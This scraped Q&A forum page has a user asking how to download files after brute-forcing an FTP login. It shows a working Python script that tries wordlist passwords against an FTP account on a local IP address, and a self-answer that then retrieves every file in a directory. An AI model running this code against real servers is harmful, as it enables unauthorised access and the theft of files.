Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Retrieve file/s from FTP using Python connection

i built this simple tool to brute force and connect to the ftp server

import socket
import ftplib
from ftplib import FTP

port=21
ip="192.168.1.108"
file1="passwords"

try:
    s=socket.socket()
    s.connect((ip,port))
    print "port",port,"is open"
    moshe=open(file1,'r')
    for line in moshe.readlines():
        password=line.strip("\n")
        print password
        try:
            ftp = ftplib.FTP(ip)
            ftp.login("NINJA",password)
            print ("THE PASSWORD IS:",password)
            break
        except ftplib.error_perm:
            print "Incorrect"
    moshe.close()
except:
    print "port",port,"is closed"


ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

currently the tool works (i planted the right password 3rd on the file list) - when i log in i get this output:

port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
-rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
-rw-r--r--    1 0        0             565 Jan 17 19:10 try.py

from here, what i want is to allow the user (me) to retrieve files either 1 specific file or all of them - but i do not know what is the simplest way to go about this

the choice itself of 1 or all, i can do, (press 1 to copy all ->) but the command itself to copy all or just one, and if one then based on what im not sure how to do.

EDIT: adding what Xendrm suggested to the code yealds this:

Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
  File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
    download(j)
  File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
    ftp.retrbinary("RETR " + files[j],f)
  File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
    conn = self.transfercmd(cmd, rest)
  File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
    return self.ntransfercmd(cmd, rest)[0]
  File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
    resp = self.sendcmd(cmd)
  File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
    return self.getresp()
  File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
    raise error_perm, resp
error_perm: 550 Failed to open file.
like image 569
Giladiald Avatar asked Jan 17 '14 19:01

Giladiald


1 Answers

ok so after much trial and error i found how to do it. - this script will take every file in the chosen directory - didn't figure out how to take all of the files from all of the sub directories as well, but this is more than good enough - will leave here for future people to see.

from ftplib import FTP
import os # allows me to use os.chdir

port=21
ip="192.168.1.108"
password='123'

os.chdir("c:/Users/USER/Desktop/new") #changes the active dir - this is where downloaded files will be saved to
ftp = FTP("192.168.1.108")
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()

directory ="/home/FTP" #dir i want to download files from, can be changed or left for user input
filematch = '*.*' # a match for any file in this case, can be changed or left for user to input

ftp.cwd(directory)

for filename in ftp.nlst(filematch): # Loop - looking for matching files
    fhandle = open(filename, 'wb')
    print 'Getting ' + filename #for confort sake, shows the file that's being retrieved
    ftp.retrbinary('RETR ' + filename, fhandle.write)
    fhandle.close()

and as proof, this is the output received from above code:

File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 0        0            4096 Jan 17 19:12 Folder2
drwxr-xr-x    2 0        0            4096 Jan 17 19:16 Folder3
-rw-r--r--    1 0        0               0 Jan 17 21:42 blat.txt
-rw-r--r--    1 0        0             565 Jan 17 19:10 try.py
Getting blat.txt
Getting try.py 
like image 81
Giladiald Avatar answered Sep 28 '22 06:09

Giladiald